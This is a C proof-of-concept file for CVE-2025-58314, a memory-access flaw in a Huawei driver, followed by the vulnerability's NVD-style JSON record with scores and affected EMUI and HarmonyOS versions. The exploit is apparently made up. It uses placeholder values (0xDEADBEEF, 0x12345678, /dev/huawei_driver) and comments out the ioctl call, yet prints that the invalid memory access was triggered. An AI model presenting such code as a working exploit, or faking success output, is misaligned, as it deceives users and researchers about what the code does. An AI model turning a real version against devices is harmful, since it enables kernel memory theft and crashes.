CVE-2025-58314

/* * CVE-2025-58314 PoC - Local privilege exploitation * Target: Huawei device component driver module * Type: Invalid memory access * * Note: This is a conceptual PoC for educational purposes only. * Actual exploitation requires specific device and driver context. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated driver interface #define DRIVER_IOCTL_CODE 0xDEADBEEF #define DRIVER_MAGIC 0x12345678 // Malicious payload structure struct exploit_payload { uint32_t magic; uint32_t cmd; uint64_t target_addr; uint32_t size; uint8_t data[256]; }; // Trigger the invalid memory access int trigger_vulnerability(int fd, uint64_t target_addr) { struct exploit_payload payload; // Initialize payload memset(&payload, 0, sizeof(payload)); payload.magic = DRIVER_MAGIC; payload.cmd = 0x1001; // Trigger memory access path payload.target_addr = target_addr; // Invalid/unauthorized address payload.size = 0x100; // Fill with trigger pattern memset(payload.data, 0x41, sizeof(payload.data)); // Send ioctl to driver printf("[*] Sending exploit payload to driver...\n"); printf("[*] Target address: 0x%lx\n", target_addr); // This would call the vulnerable driver function // ioctl(fd, DRIVER_IOCTL_CODE, &payload); printf("[!] Invalid memory access triggered\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-58314 PoC - Huawei Component Driver\n"); printf("===========================================\n\n"); // Open driver device (requires local access) int fd = open("/dev/huawei_driver", O_RDWR); if (fd < 0) { printf("[-] Failed to open driver device\n"); printf("[*] Note: Requires root or low-privilege access (PR:L)\n"); return 1; } // Target kernel memory address for information disclosure uint64_t target_addr = 0xFFFF888000000000; if (argc > 1) { sscanf(argv[1], "0x%lx", &target_addr); } printf("[*] Triggering invalid memory access...\n\n"); trigger_vulnerability(fd, target_addr); close(fd); return 0; } /* * Usage: * gcc -o cve_poc cve_poc.c * ./cve_poc [target_address] * * Impact: * - Confidentiality: Read unauthorized memory (C:H) * - Availability: System crash/DoS (A:L) */

{"cve": {"id": "CVE-2025-58314", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:16:00.070", "lastModified": "2025-12-02T02:29:32.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability of accessing invalid memory in the component driver module.\nImpact: Successful exploitation of this vulnerability will affect availability and confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:12.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A974CA73-84E8-480B-BB4C-4A81D0C985B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:13.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "353AEAF2-AF46-4835-93E1-4F942D5E2810"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "32FBF39A-164F-4F98-AB49-28C50A430C36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:14.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "4AA76C33-8D23-490B-B620-C24EDCC86A56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:emui:15.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "888C5BD7-421B-4A85-8719-BFEE3C215527"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "20112231-B840-44D3-A061-B9B9F80EE378"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CB3751C1-7729-41D3-AE50-80B5AF601135"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D81C4EF-7CAF-4E60-91A4-8CF7B95B2B54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "8198CDB2-4BC5-411A-8736-615A531FC545"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "2401DE15-9DBF-4645-A261-8C24D57C6342"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "082BBC06-A0B2-481E-BF6F-56180E17ABEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:4.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "6EA69843-EC8D-42E2-900E-017D2B502E9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}